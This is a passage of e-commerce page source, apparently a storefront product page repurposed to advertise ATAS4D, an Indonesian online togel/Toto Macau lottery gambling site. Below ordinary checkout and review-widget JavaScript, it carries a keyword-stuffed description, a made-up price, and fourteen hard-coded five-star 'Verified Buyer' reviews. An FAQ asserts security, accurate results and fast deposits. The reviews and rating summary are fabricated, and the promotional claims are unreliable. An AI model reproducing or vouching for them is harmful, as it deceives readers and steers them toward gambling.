7443      const now = new Date(new Date().toLocaleString("en-US", {timeZone: "Asia/Jakarta"}));
7444      const currentHour = now.getHours();
7445      const currentMinute = now.getMinutes();
7446      const currentTime = currentHour + (currentMinute / 60);
7447      const currentDate = now.getDate();
7448      
7449      const isAfter3PM = currentTime >= 15.0;
7450      
7451      // Check product tags
7452      const isPickupInhouse = false;
7453      const isPickupVendor = false;
7454      
7455      console.log('Applying pickup date restrictions:', {
7456        isPickupInhouse,
7457        isPickupVendor,
7458        currentDate,
7459        currentTime: currentTime.toFixed(2),
7460        isAfter3PM
7461      });
7462      
7463      const dateButtons = deliveryDateElement.querySelectorAll('button.date-single');
7464      console.log('Found date buttons:', dateButtons.length);
7465      
7466      dateButtons.forEach((button, index) => {
7467        const buttonDate = parseInt(button.dataset.date, 10);
7468        console.log(`Checking button ${index}: date=${buttonDate}, currentDate=${currentDate}`);
7469        
7470        if (isPickupInhouse) {
7471          // Check if this button is today
7472          if (buttonDate === currentDate) {
7473            button.disabled = true;
7474            button.classList.add('stop');
7475            button.title = 'Pickup not available for today';
7476            console.log(`✓ Disabled button ${index} (date ${buttonDate} = today) for pickup-itcinhouse`);
7477          } 
7478          // Check if this button is tomorrow AND it's after 3 PM
7479          else if (buttonDate === currentDate + 1 && isAfter3PM) {
7480            button.disabled = true;
7481            button.classList.add('stop');
7482            button.title = 'Pickup not available (after 3 PM cutoff)';
7483            console.log(`✓ Disabled button ${index} (date ${buttonDate} = tomorrow) for pickup-itcinhouse (after 3 PM)`);
7484          }
7485        } else if (isPickupVendor) {
7486          // For pickup-itcvendor: Allow ONLY date 14.
7487          // Disable 14 if today is 13th > 3 PM or today is > 13th.
7488          
7489          if (buttonDate !== 14) {
7490             button.disabled = true;
7491             button.classList.add('stop');
7492             button.title = 'Pickup only available on the 14th';
7493             // Do NOT hide, just disable.
7494             console.log(`✓ Disabled button ${index} (date ${buttonDate}) for pickup-itcvendor (not 14th)`);
7495          } else {
7496             // Date is 14. Check cutoff.
7497             if (currentDate > 13 || (currentDate === 13 && isAfter3PM)) {
7498                button.disabled = true;
7499                button.classList.add('stop');
7500                button.title = 'Pickup closed for 14th (Cutoff: 13th 15:00)';
7501                console.log(`✓ Disabled button ${index} (date ${buttonDate}) for pickup-itcvendor (Cutoff missed)`);
7502             }
7503          }
7504        }
7505      });
7506    }
7507    
7508    // Function to handle delivery mode (normal mode)
7509    function handleDeliveryMode() {
7510      // 1. Re-enable city dropdown
7511      const citySelect = document.getElementById('cities');
7512      if (citySelect) {
7513        citySelect.disabled = false;
7514        citySelect.style.backgroundColor = '#fff';
7515        citySelect.style.cursor = 'pointer';
7516        citySelect.style.opacity = '1';
7517      }
7518      
7519      // 2. Hide pickup location info (in delivery method section)
7520      const pickupLocationInfo = document.getElementById('pickupLocationInfo');
7521      if (pickupLocationInfo) {
7522        pickupLocationInfo.style.display = 'none';
7523      }
7524      
7525      // 2b. Hide pickup location details (in address section)
7526      const pickupLocationDetails = document.getElementById('pickupLocationDetails');
7527      if (pickupLocationDetails) {
7528        pickupLocationDetails.style.display = 'none';
7529      }
7530      
7531      // 3. Show address form and restore required attributes
7532      const formAddressPurchase = document.querySelector('.formAddressPurchase');
7533      if (formAddressPurchase) {
7534        formAddressPurchase.style.display = 'block';
7535        
7536        // Restore required attributes
7537        const wasRequiredInputs = formAddressPurchase.querySelectorAll('[data-was-required="true"]');
7538        wasRequiredInputs.forEach(function(input) {
7539          input.setAttribute('required', 'required');
7540          input.removeAttribute('data-was-required');
7541        });
7542      }
7543      
7544      // 4. Remove date restrictions
7545      window.applyPickupDateRestrictions = false;
7546      
7547      // Trigger date re-render to remove restrictions
7548      if (citySelect && citySelect.value) {
7549        setTimeout(function() {
7550          const changeEvent = new Event('change', { bubbles: true });
7551          citySelect.dispatchEvent(changeEvent);
7552        }, 100);
7553      }
7554
7555      // 5. Show full calendar
7556      const deliveryDateFull = document.getElementById('deliveryDateFull');
7557      if (deliveryDateFull) {
7558        deliveryDateFull.style.display = 'block';
7559      }
7560
7561      // 5b. Show row-delivery-time
7562      const rowDeliveryTime = document.getElementById('row-delivery-time');
7563      if (rowDeliveryTime) {
7564        rowDeliveryTime.style.display = 'block';
7565      }
7566
7567      // 5c. Make delivery time required again
7568      const propDeliveryTime = document.getElementById('propDeliveryTime');
7569      if (propDeliveryTime) {
7570        propDeliveryTime.setAttribute('required', 'required');
7571      }
7572      const propertiesDeliveryTime = document.getElementById('properties-delivery-time');
7573      if (propertiesDeliveryTime) {
7574        propertiesDeliveryTime.setAttribute('required', 'required');
7575      }
7576
7577      // 6. Update address for delivery
7578      if (typeof window.updateDeliveryAddress === 'function') {
7579        window.updateDeliveryAddress();
7580      }
7581    }
7582    
7583    // Listen for variant changes
7584    const productSelect = document.getElementById('productSelect');
7585    if (productSelect) {
7586      productSelect.addEventListener('change', function() {
7587        checkInventoryStatus();
7588        setTimeout(function() {
7589          window.validateVariantMetafields(false); // Don't show errors on variant change
7590        }, 100);
7591      });
7592    }
7593
7594    // Listen for changes on variant metafield inputs - only to clear existing errors
7595    const variantMetafields = document.querySelectorAll('.variant-metafield');
7596    variantMetafields.forEach(function(field) {
7597      field.addEventListener('input', function() {
7598        clearFieldError(this);
7599      });
7600      field.addEventListener('change', function() {
7601        clearFieldError(this);
7602      });
7603      field.addEventListener('blur', function() {
7604        clearFieldError(this);
7605      });
7606    });
7607
7608    // Listen for changes on select elements within variant metafields
7609    const variantSelects = document.querySelectorAll('.variant-metafield-select');
7610    variantSelects.forEach(function(select) {
7611      select.addEventListener('change', function() {
7612        clearFieldError(this);
7613      });
7614    });
7615  });
7616
7617  // Function to clear error styling from a specific field
7618  function clearFieldError(field) {
7619    const fieldContainer = field.closest('.form-group-variant');
7620    if (fieldContainer) {
7621      fieldContainer.classList.remove('field-error');
7622      const existingError = fieldContainer.querySelector('.error-message');
7623      if (existingError) {
7624        existingError.remove();
7625      }
7626    }
7627  }
7628
7629  // Prevent form submission if out of stock or required fields are empty
7630  document.addEventListener('click', function(e) {
7631    if (e.target.matches('button[data-out-of-stock="true"]')) {
7632      e.preventDefault();
7633      e.stopPropagation();
7634      alert('This product is currently out of stock and cannot be purchased.');
7635      return false;
7636    }
7637
7638    // Check if this is the purchase button
7639    if (e.target.id === 'btnPurchase' || e.target.closest('#btnPurchase')) {
7640      const isValid = window.validateVariantMetafields(true); // Show errors when button is clicked
7641      
7642      if (!isValid) {
7643        e.preventDefault();
7644        e.stopPropagation();
7645        
7646        // The validateVariantMetafields function already handles scrolling and focusing
7647        // No need for additional scroll here as it's handled in the validation function
7648        
7649        return false;
7650      }
7651    }
7652  });
7653</script>
7653
7654
7655
7656  
7657    <div class="product-description rte bg-card col-12 py-3 px-0 m-0" itemprop="description">
7658      
7659
7660
7661
7662
7663    <div class="short-desc-mobile d-block d-lg-none mb-3">
7664        <div class="short-desc">
7665            <ul>
7666<li>
7667<strong>ATAS4D</strong><br><strong></strong><strong></strong>
7668</li>
7669<li>
7670<strong>GAME TOGEL</strong><br>
7671</li>
7672<li><strong>TOGEL ONLINE</strong></li>
7673
7674        </div>
7675        <label class="more-mobile">Show More →</label>
7676    </div>
7677
7678
7679<div class="short-content short-spec position-relative open">
7680  <h3 class="heading-toggle">Descriptions</h3>
7681  <div
7682    id="product-desc"
7683    class="content-toggle product-spec pb-3"
7684    style="display: block; height: 200px; overflow: hidden; transition: height 0.3s ease;"
7685  >
7686    <ul>
7687<li>
7688<strong>ATAS4D</strong><br><strong></strong><strong></strong>
7689</li>
7690<li>
7691<strong>GAME TOGEL</strong><br>
7692</li>
7693<li><strong>TOGEL ONLINE</strong></li>
7694</ul>
7695<p>ATAS4D adalah platform game togel toto macau 4D terbaik dengan fitur lengkap, akses cepat, pasaran terpercaya, dan peluang kemenangan menarik setiap hari.</p>
7696<p><img src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp" alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"></p>
7697<table style="width: 100.091%;" width="100%">
7698<tbody>
7699<tr>
7700<td style="width: 33.7327%;">SKU</td>
7701<td style="width: 65.9908%;">[C]ATAS4D<br>[C]OBIPCL1004-CNY2026<br>
7702</td>
7703</tr>
7704<tr>
7705<td style="width: 33.7327%;">Isi</td>
7706<td style="width: 65.9908%;">
7707Link Login ATAS4D<br>
7708Situs Togel 4D Terpercaya<br>
7709Toto Togel<br>
7710Toto Macau<br>
7711Togel 4D<br>
7712Toto Togel Resmi<br>
7713Togel Macau<br>
7714Toto Macau 4D<br>
7715Game Togel Macau<br>
7716Toto Togel<br>
7717ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap
7718</td>
7719</td>
7720</tr>
7721</tbody>
7722</table>
7723  </div>
7724  <button id="readMoreBtn" class="read-more-toggle mt-2" style="background: none; border: none; padding: 0; cursor: pointer; color: #212121; text-decoration: underline; font-size: 14px;width: 100%;position: absolute;height: 70px;bottom: 0;background-color: rgba(255, 255, 255, 0.8);
7725    font-weight: 600;">
7726    Read More
7727  </button>
7728</div>
7729
7730
7731<script>
7732    var liCountMobile;
7733    $(document).ready(function () {
7734        // Handle mobile short description - same logic as desktop
7735        $(".short-desc-mobile .short-desc ul").each(function() {
7736            liCountMobile = $(this).children("li").length;
7737            if (liCountMobile > 3) {
7738                $(this).closest(".short-desc-mobile").find(".more-mobile").addClass("showMe");
7739            }
7740        });
7741
7742        $(".more-mobile").click(function () {
7743            $("#product-desc").find("ul").show();
7744            $('html, body').animate({
7745                scrollTop: $("#product-desc").offset().top - 150
7746            }, 1000);
7747            $("#product-desc").css("height","auto");
7748            
7749            // Open the descriptions accordion
7750            var $descriptions = $("#product-desc").closest(".short-content");
7751            if (!$descriptions.hasClass("open")) {
7752                $descriptions.addClass("open");
7753                $("#product-desc").show();
7754            }
7755        });
7756
7757        // Handle Read More / Read Less toggle
7758        var isExpanded = false;
7759        var descElement = $("#product-desc");
7760        var readMoreBtn = $("#readMoreBtn");
7761
7762        readMoreBtn.click(function(e) {
7763            e.preventDefault();
7764            isExpanded = !isExpanded;
7765
7766            if (isExpanded) {
7767                // Expand to full height
7768                descElement.css("height", "auto");
7769                readMoreBtn.text("Read Less");
7770                readMoreBtn.css({
7771                    "position": "relative",
7772                    "height": "auto",
7773                    "bottom": "auto",
7774                    "background-color": "transparent"
7775                });
7776            } else {
7777                // Collapse to 200px
7778                descElement.css("height", "200px");
7779                readMoreBtn.text("Read More");
7780                readMoreBtn.css({
7781                    "position": "absolute",
7782                    "height": "70px",
7783                    "bottom": "0",
7784                    "background-color": "rgba(255, 255, 255, 0.8)"
7785                });
7786            }
7787        });
7788    });
7789</script>
7789
7790
7791    </div>
7792  
7793</div>
7794
7795          </div>
7796        </div>
7797      </div>
7798    </div>
7799    <div id="product-bottom">
7800      
7801      <div class="row">
7802        <div class="col-12 product-fixed">
7803          <div class="container">
7804            <div class="row justify-content-between">
7805              <div class="d-flex col-12 col-lg-7">
7806                <div class="pfImage">
7807                  <img
7808                    width="300"
7809                    height="170"
7810                    src="https://atas4d.biz/images/logo-atas4d.webp"
7811                    alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
7812                  >
7813                </div>
7814                <div class="pfMeta">
7815                  <h4 class="pTitle">ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap</h4>
7816                  <div class="pPrice">
7817                    <p>
7818                      <span class="price">Rp 1.349.417</span><span class="priceCompare">Rp 8.000.008</span>
7819                    </p>
7820                  </div>
7821                </div>
7822              </div>
7823              <div class="col-12 col-lg-5 self-align-center row justify-content-between" style="align-self: center;">
7824                <div class="pfBtn col-12 align-self-center">
7825                  <div id="personalizeBtn">
7826                    <button class="btn text-uppercase w-100 fw-400" >
7827                      MAKE IT PERSONAL ➔
7828                    </button>
7829                  </div>
7830                </div>
7831              </div>
7832            </div>
7833          </div>
7834        </div>
7835        <div id="product-bottom-left" class="product-bottom-left col-lg-12">
7836          <div class="container">
7837              
7838              <!-- HEADER -->
7839<div class="review-header">
7840    <div class="rating-summary">
7841        <div class="rating-score">4.9</div>
7842        <div class="stars">★★★★★</div>
7843        <p>Based on 103 Reviews</p>
7844
7845        <div class="progress-bar">5 ★ 
7846            <div class="progress"><div class="progress-fill" style="width:92%"></div></div> (96)
7847        </div>
7848        <div class="progress-bar">4 ★ 
7849            <div class="progress"><div class="progress-fill" style="width:6%"></div></div> (6)
7850        </div>
7851        <div class="progress-bar">3 ★ 
7852            <div class="progress"><div class="progress-fill" style="width:1%"></div></div> (1)
7853        </div>
7854        <div class="progress-bar">2 ★ 
7855            <div class="progress"><div class="progress-fill" style="width:0%"></div></div> (0)
7856        </div>
7857        <div class="progress-bar">1 ★ 
7858            <div class="progress"><div class="progress-fill" style="width:0%"></div></div> (0)
7859        </div>
7860    </div>
7861
7862    <div style="flex:1">
7863        <div class="tabs">
7864            <div class="tab active" onclick="showTab('reviews')">REVIEWS (14)</div>
7865            <div class="tab" onclick="showTab('faq')">QUESTIONS (14)</div>
7866        </div>
7867
7868        <!-- FILTER -->
7869        <div class="filter-bar">
7870            <input type="text" id="searchInput" placeholder="Search Reviews...">
7871            <select id="sortSelect">
7872                <option value="recent">Most Recent</option>
7873                <option value="oldest">Oldest</option>
7874                <option value="highest">Highest Rating</option>
7875            </select>
7876        </div>
7877
7878        <!-- REVIEWS -->
7879        <div id="reviewsSection"></div>
7880
7881        <!-- FAQ -->
7882        <div id="faqSection" style="display:none"></div>
7883
7884    </div>
7885</div>
7886
7887</div>
7888          </div></div>
7889            
7890<script>
7891
7892const reviews = [
7893  {
7894    name: "Bagas Pratama",
7895    date: "2026-03-11",
7896    rating: 5,
7897    text: "Saya sudah coba banyak situs game togel, tapi ATAS4D paling stabil. Result togel macau selalu update cepat dan akurat, jadi lebih mudah analisa angka."
7898  },
7899  {
7900    name: "Rangga Saputra",
7901    date: "2026-03-06",
7902    rating: 5,
7903    text: "Main toto macau 4D di ATAS4D terasa lebih nyaman. Tampilan simpel dan proses deposit cepat banget. Cocok buat pemain harian."
7904  },
7905  {
7906    name: "Dimas Arya",
7907    date: "2026-02-28",
7908    rating: 5,
7909    text: "Yang saya suka dari ATAS4D adalah pasaran lengkapnya. Togel macau dan toto macau tersedia dengan data yang jelas, jadi lebih percaya diri pasang angka."
7910  },
7911  {
7912    name: "Galih Ramadhan",
7913    date: "2026-02-21",
7914    rating: 5,
7915    text: "Customer service ATAS4D responsif dan membantu. Saya pernah ada kendala, langsung dibantu dengan cepat. Recommended untuk game togel online."
7916  },
7917  {
7918    name: "Wira Mahendra",
7919    date: "2026-02-16",
7920    rating: 5,
7921    text: "Platformnya ringan di HP, jadi bisa main kapan saja. Toto macau 4D di ATAS4D juga punya peluang menarik menurut saya."
7922  },
7923  {
7924    name: "Chandra Winata",
7925    date: "2026-02-10",
7926    rating: 5,
7927    text: "ATAS4D jadi pilihan utama saya karena update result togel macau selalu cepat dan akurat. Sangat membantu untuk memantau hasil dan membuat analisa angka berikutnya."
7928  },
7929  {
7930    name: "Dandu Putri",
7931    date: "2026-02-03",
7932    rating: 5,
7933    text: "Proses daftar dan deposit di ATAS4D sangat mudah. Platformnya juga stabil sehingga saya bisa bermain toto macau 4D tanpa kendala kapan saja."
7934  },
7935  {
7936    name: "Andika Putra",
7937    date: "2026-01-27",
7938    rating: 5,
7939    text: "Saya suka karena data pasaran togel macau ditampilkan dengan jelas dan lengkap. Informasinya mudah dipahami bahkan untuk pemain yang baru bergabung."
7940  },
7941  {
7942    name: "Yoga Permana",
7943    date: "2026-01-20",
7944    rating: 5,
7945    text: "ATAS4D memiliki tampilan yang sederhana namun lengkap. Semua fitur penting mudah diakses, baik melalui desktop maupun smartphone."
7946  },
7947  {
7948    name: "Bima Kurniawan",
7949    date: "2026-01-13",
7950    rating: 5,
7951    text: "Keamanan akun di ATAS4D membuat saya lebih nyaman bermain. Transaksi berjalan lancar dan data pribadi terasa lebih terlindungi."
7952  },
7953  {
7954    name: "Arif Setiawan",
7955    date: "2026-01-05",
7956    rating: 5,
7957    text: "Pelayanan customer service sangat profesional. Pertanyaan saya mengenai pasaran toto macau langsung dijawab dengan cepat dan jelas."
7958  },
7959  {
7960    name: "Dion Saputra",
7961    date: "2025-12-29",
7962    rating: 5,
7963    text: "Sudah beberapa bulan menggunakan ATAS4D dan performanya tetap stabil. Result macau real-time menjadi salah satu fitur favorit saya."
7964  },
7965  {
7966    name: "Kevin Mahardika",
7967    date: "2025-12-20",
7968    rating: 5,
7969    text: "Yang menarik dari ATAS4D adalah pilihan pasaran yang lengkap dan akses yang cepat. Saya tidak perlu menunggu lama saat membuka halaman permainan."
7970  },
7971  {
7972    name: "Raka Wijaya",
7973    date: "2025-12-12",
7974    rating: 5,
7975    text: "ATAS4D memberikan pengalaman bermain togel online yang nyaman. Sistemnya responsif, fiturnya lengkap, dan update informasi selalu tersedia setiap hari."
7976  }
7977];
7978
7979const faq = [
7980  "Apa itu ATAS4D dan kenapa populer di game togel online?|ATAS4D adalah platform game togel online yang menyediakan berbagai pasaran populer seperti togel macau, toto macau, dan toto macau 4D. Popularitasnya meningkat karena sistem stabil, result akurat, dan fitur lengkap yang memudahkan pemain dalam bermain setiap hari.",
7981
7982  "Apakah ATAS4D menyediakan pasaran togel macau resmi?|Ya, ATAS4D menyediakan pasaran togel macau dan toto macau 4D dengan data result yang akurat dan update real-time. Hal ini membuat pemain bisa menganalisa angka dengan lebih tepat.",
7983
7984  "Bagaimana cara bermain toto macau 4D di ATAS4D?|Cara bermain cukup mudah, pemain hanya perlu mendaftar akun, melakukan deposit, lalu memilih pasaran toto macau 4D. Setelah itu, pemain bisa langsung memasang angka sesuai prediksi mereka.",
7985
7986  "Apakah ATAS4D aman untuk bermain game togel?|ATAS4D menggunakan sistem keamanan modern untuk melindungi data dan transaksi pemain. Dengan sistem enkripsi dan layanan profesional, platform ini memastikan keamanan dalam bermain game togel online.",
7987
7988  "Apa keunggulan ATAS4D dibanding situs togel lainnya?|Beberapa keunggulan ATAS4D antara lain akses cepat, tampilan user-friendly, pasaran lengkap seperti togel macau, serta dukungan customer service yang responsif 24 jam.",
7989
7990  "Apakah ATAS4D bisa diakses melalui mobile?|Ya, ATAS4D dapat diakses melalui berbagai perangkat seperti smartphone dan desktop tanpa mengurangi performa. Ini memudahkan pemain bermain togel macau kapan saja dan di mana saja.",
7991
7992  "Apa saja fitur lengkap yang tersedia di ATAS4D?|ATAS4D menyediakan berbagai fitur unggulan seperti result macau real-time, transaksi cepat, akses multi perangkat, sistem keamanan modern, serta layanan customer service yang siap membantu pemain.",
7993
7994  "Mengapa banyak pemain memilih ATAS4D untuk bermain togel macau?|Banyak pemain memilih ATAS4D karena menawarkan pasaran togel macau terpercaya, sistem stabil, proses transaksi cepat, serta pengalaman bermain yang nyaman dan mudah diakses kapan saja.",
7995
7996  "Apakah data result macau di ATAS4D diperbarui secara real-time?|Ya, ATAS4D menghadirkan data result macau yang diperbarui secara real-time sehingga pemain dapat memperoleh informasi terbaru untuk kebutuhan analisis angka dan pemantauan hasil pasaran.",
7997
7998  "Bagaimana proses pendaftaran akun di ATAS4D?|Proses pendaftaran di ATAS4D dirancang sederhana dan cepat. Pengguna hanya perlu mengisi data yang diperlukan, melakukan verifikasi, kemudian akun siap digunakan untuk mengakses berbagai fitur yang tersedia.",
7999
8000  "Apakah transaksi deposit dan withdraw di ATAS4D berlangsung cepat?|ATAS4D mendukung sistem transaksi yang cepat dan efisien sehingga proses deposit maupun withdraw dapat dilakukan dengan lebih praktis sesuai ketentuan yang berlaku di platform.",
8001
8002  "Apakah ATAS4D cocok untuk pemain pemula?|Ya, tampilan yang user-friendly dan navigasi yang sederhana membuat ATAS4D mudah digunakan oleh pemain pemula maupun pemain berpengalaman yang ingin menikmati permainan dengan nyaman.",
8003
8004  "Bagaimana ATAS4D menjaga keamanan data pemain?|ATAS4D menggunakan teknologi keamanan modern dan sistem enkripsi untuk membantu melindungi data pribadi serta aktivitas transaksi pemain selama menggunakan platform.",
8005
8006  "Apa keuntungan bermain togel toto macau 4D di ATAS4D?|Keuntungan bermain di ATAS4D meliputi akses cepat, pasaran lengkap, informasi result yang akurat, dukungan layanan profesional, serta pengalaman bermain yang lebih nyaman melalui desktop maupun mobile."
8007];
8008
8009function renderReviews(data){
8010    const container = document.getElementById("reviewsSection");
8011    container.innerHTML="";
8012    data.forEach((r,i)=>{
8013        container.innerHTML += `
8014        <div class="review-card">
8015            <div class="review-top">
8016                <div>
8017                    <div class="review-name">${r.name} <span class="verified">✔ Verified Buyer</span></div>
8018                    <div class="review-stars">${"★".repeat(r.rating)}</div>
8019                </div>
8020                <div>${r.date}</div>
8021            </div>
8022            <p>${r.text}</p>
8023            <div class="helpful" onclick="increaseHelpful(${i})">
8024                👍 Helpful <span id="help-${i}">0</span>
8025            </div>
8026        </div>
8027        `;
8028    });
8029}
8030
8031function increaseHelpful(i){
8032    let el = document.getElementById("help-"+i);
8033    el.innerText = parseInt(el.innerText) + 1;
8034}
8035
8036function renderFAQ(){
8037    const container = document.getElementById("faqSection");
8038    faq.forEach((item)=>{
8039        let parts = item.split("|");
8040        container.innerHTML += `
8041        <div class="faq-item">
8042            <div class="faq-question" onclick="toggleFAQ(this)">
8043                ${parts[0]} <span>▼</span>
8044            </div>
8045            <div class="faq-answer">${parts[1]}</div>
8046        </div>
8047        `;
8048    });
8049}
8050
8051function toggleFAQ(el){
8052    let answer = el.nextElementSibling;
8053    answer.style.display = answer.style.display === "block" ? "none":"block";
8054}
8055
8056function showTab(tab){
8057    document.querySelectorAll(".tab").forEach(t=>t.classList.remove("active"));
8058    event.target.classList.add("active");
8059    if(tab==="reviews"){
8060        document.getElementById("reviewsSection").style.display="block";
8061        document.getElementById("faqSection").style.display="none";
8062    }else{
8063        document.getElementById("reviewsSection").style.display="none";
8064        document.getElementById("faqSection").style.display="block";
8065    }
8066}
8067
8068document.getElementById("searchInput").addEventListener("input", function(){
8069    let value = this.value.toLowerCase();
8070    let filtered = reviews.filter(r => r.text.toLowerCase().includes(value));
8071    renderReviews(filtered);
8072});
8073
8074document.getElementById("sortSelect").addEventListener("change", function(){
8075    let sorted = [...reviews];
8076    if(this.value==="recent"){
8077        sorted.sort((a,b)=> new Date(b.date)-new Date(a.date));
8078    }
8079    if(this.value==="oldest"){
8080        sorted.sort((a,b)=> new Date(a.date)-new Date(b.date));
8081    }
8082    renderReviews(sorted);
8083});
8084
8085renderReviews(reviews);
8086renderFAQ();
8087
8088</script>
vendor: 1 bytes, line 8088
8088
8089<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/shopify-cartjs/1.1.0/cart.min.js"></script>
8089
8090
8091<style>
8092.review-header{
8093    display:flex;
8094    gap:40px;
8095}
8096
8097.rating-summary{
8098    width:300px;
8099}
8100
8101.rating-score{
8102    font-size:42px;
8103    font-weight:bold;
8104}
8105
8106.stars{
8107    color:#f5a623;
8108    font-size:20px;
8109}
8110
8111.progress-bar{
8112    display:flex;
8113    align-items:center;
8114    gap:10px;
8115    margin:6px 0;
8116}
8117
8118.progress{
8119    background:#eee;
8120    height:8px;
8121    flex:1;
8122    border-radius:10px;
8123    overflow:hidden;
8124}
8125
8126.progress-fill{
8127    background:#333;
8128    height:100%;
8129}
8130
8131.tabs{
8132    display:flex;
8133    gap:30px;
8134    margin-top:30px;
8135    border-bottom:1px solid #ddd;
8136}
8137
8138.tab{
8139    padding-bottom:10px;
8140    cursor:pointer;
8141    font-weight:bold;
8142}
8143
8144.tab.active{
8145    border-bottom:3px solid black;
8146}
8147.filter-bar{
8148    display:flex;
8149    justify-content:space-between;
8150    margin:20px 0;
8151}
8152
8153input[type="text"], select{
8154    padding:8px 10px;
8155    border:1px solid #ddd;
8156    border-radius:6px;
8157}
8158
8159.review-card{
8160    border-top:1px solid #eee;
8161    padding:20px 0;
8162}
8163
8164.review-top{
8165    display:flex;
8166    justify-content:space-between;
8167}
8168
8169.review-name{
8170    font-weight:bold;
8171}
8172
8173.verified{
8174    color:green;
8175    font-size:12px;
8176}
8177
8178.review-stars{
8179    color:#f5a623;
8180    margin:5px 0;
8181}
8182
8183.helpful{
8184    font-size:13px;
8185    color:#666;
8186    cursor:pointer;
8187}
8188
8189.helpful span{
8190    margin-left:5px;
8191}
8192.faq-item{
8193    border-top:1px solid #eee;
8194    padding:15px 0;
8195}
8196
8197.faq-question{
8198    font-weight:bold;
8199    cursor:pointer;
8200    display:flex;
8201    justify-content:space-between;
8202}
8203
8204.faq-answer{
8205    display:none;
8206    margin-top:10px;
8207    color:#555;
8208}
8209
8210.rotate{
8211    transform:rotate(180deg);
8212}
8213  .image-editor-popup {
8214    position: fixed;
8215    top: 0;
8216    left: 0;
8217    width: 100vw;
8218    height: 100vh;
8219    z-index: 9999;
8220    display: flex;
8221    align-items: center;
8222    justify-content: center;
8223    padding: 20px;
8224    box-sizing: border-box;
8225  }
8226
8227  .image-editor-overlay {
8228    position: absolute;
8229    top: 0;
8230    left: 0;
8231    width: 100%;
8232    height: 100%;
8233    background: rgba(0, 0, 0, 0.7);
8234    backdrop-filter: blur(2px);
8235  }
8236
8237  .image-editor-modal {
8238    position: relative;
8239    background: white;
8240    border-radius: 12px;
8241    box-shadow: 0 20px 60px rgba(0, 0, 0, 0.3);
8242    max-width: min(900px, calc(100vw - 40px));
8243    max-height: min(700px, calc(100vh - 40px));
8244    width: 100%;
8245    display: flex;
8246    flex-direction: column;
8247    overflow: auto;
8248    margin: auto;
8249    transform: translateZ(0);
8250  }
8251
8252  .image-editor-header {
8253    display: flex;
8254    justify-content: space-between;
8255    align-items: center;
8256    padding: 20px 24px;
8257    border-bottom: 1px solid #e5e7eb;
8258    background: #f9fafb;
8259  }
8260
8261  .image-editor-header h3 {
8262    margin: 0;
8263    font-size: 18px;
8264    font-weight: 600;
8265    color: #111827;
8266  }
8267
8268  .close-editor {
8269    background: none;
8270    border: none;
8271    font-size: 24px;
8272    color: #6b7280;
8273    cursor: pointer;
8274    padding: 0;
8275    width: 32px;
8276    height: 32px;
8277    display: flex;
8278    align-items: center;
8279    justify-content: center;
8280    border-radius: 6px;
8281    transition: all 0.2s;
8282  }
8283
8284  .close-editor:hover {
8285    background: #f3f4f6;
8286    color: #374151;
8287  }
8288
8289  .image-editor-content {
8290    display: flex;
8291    flex: 1;
8292    min-height: 500px;
8293  }
8294
8295  .image-editor-canvas {
8296    flex: 1;
8297    padding: 20px;
8298    background: #f8fafc;
8299    display: flex;
8300    align-items: center;
8301    justify-content: center;
8302    min-height: 400px;
8303  }
8304
8305  .image-editor-canvas img {
8306    max-width: 100%;
8307    max-height: 100%;
8308    display: block;
8309  }
8310
8311  .image-editor-controls {
8312    width: 280px;
8313    padding: 20px;
8314    background: white;
8315    border-left: 1px solid #e5e7eb;
8316    overflow-y: auto;
8317  }
8318
8319  .control-group {
8320    margin-bottom: 20px;
8321    padding-bottom: 16px;
8322    border-bottom: 1px solid #f3f4f6;
8323  }
8324
8325  .control-group:last-child {
8326    border-bottom: none;
8327    margin-bottom: 0;
8328  }
8329
8330  .control-group label {
8331    display: block;
8332    font-size: 14px;
8333    font-weight: 500;
8334    color: #374151;
8335    margin-bottom: 8px;
8336  }
8337
8338  .control-group select,
8339  .control-group input[type="range"] {
8340    width: 100%;
8341    padding: 8px 12px;
8342    border: 1px solid #d1d5db;
8343    border-radius: 6px;
8344    font-size: 14px;
8345    background: white;
8346  }
8347
8348  .control-group input[type="range"] {
8349    -webkit-appearance: none;
8350    appearance: none;
8351    height: 6px;
8352    background: #e5e7eb;
8353    border-radius: 3px;
8354    padding: 0;
8355  }
8356
8357  .control-group input[type="range"]::-webkit-slider-thumb {
8358    -webkit-appearance: none;
8359    appearance: none;
8360    width: 18px;
8361    height: 18px;
8362    background: #3b82f6;
8363    border-radius: 50%;
8364    cursor: pointer;
8365  }
8366
8367  .control-group button {
8368    background: #f3f4f6;
8369    border: 1px solid #d1d5db;
8370    border-radius: 6px;
8371    padding: 8px 12px;
8372    font-size: 13px;
8373    color: #374151;
8374    cursor: pointer;
8375    margin-right: 8px;
8376    margin-bottom: 8px;
8377    transition: all 0.2s;
8378  }
8379
8380  .control-group button:hover {
8381    background: #e5e7eb;
8382    border-color: #9ca3af;
8383  }
8384
8385  .control-group button:active {
8386    transform: translateY(1px);
8387  }
8388
8389  #imageSizeInfo {
8390    font-size: 12px;
8391    color: #6b7280;
8392    margin-top: 8px;
8393    display: flex;
8394    flex-direction: column;
8395    gap: 4px;
8396  }
8397
8398  #imageSizeInfo span {
8399    display: block;
8400    padding: 4px 8px;
8401    background: #f9fafb;
8402    border-radius: 4px;
8403    border: 1px solid #e5e7eb;
8404  }
8405
8406  #originalSize {
8407    color: #374151;
8408  }
8409
8410  #newSize {
8411    color: #059669;
8412    font-weight: 500;
8413  }
8414
8415  .image-editor-footer {
8416    display: flex;
8417    justify-content: flex-end;
8418    gap: 12px;
8419    padding: 20px 24px;
8420    border-top: 1px solid #e5e7eb;
8421    background: #f9fafb;
8422  }
8423
8424  .btn-cancel {
8425    background: white;
8426    border: 1px solid #d1d5db;
8427    border-radius: 6px;
8428    padding: 10px 20px;
8429    font-size: 14px;
8430    color: #374151;
8431    cursor: pointer;
8432    transition: all 0.2s;
8433  }
8434
8435  .btn-cancel:hover {
8436    background: #f9fafb;
8437    border-color: #9ca3af;
8438  }
8439
8440  .btn-save {
8441    background: #3b82f6;
8442    border: 1px solid #3b82f6;
8443    border-radius: 6px;
8444    padding: 10px 20px;
8445    font-size: 14px;
8446    color: white;
8447    cursor: pointer;
8448    transition: all 0.2s;
8449  }
8450
8451  .btn-save:hover {
8452    background: #2563eb;
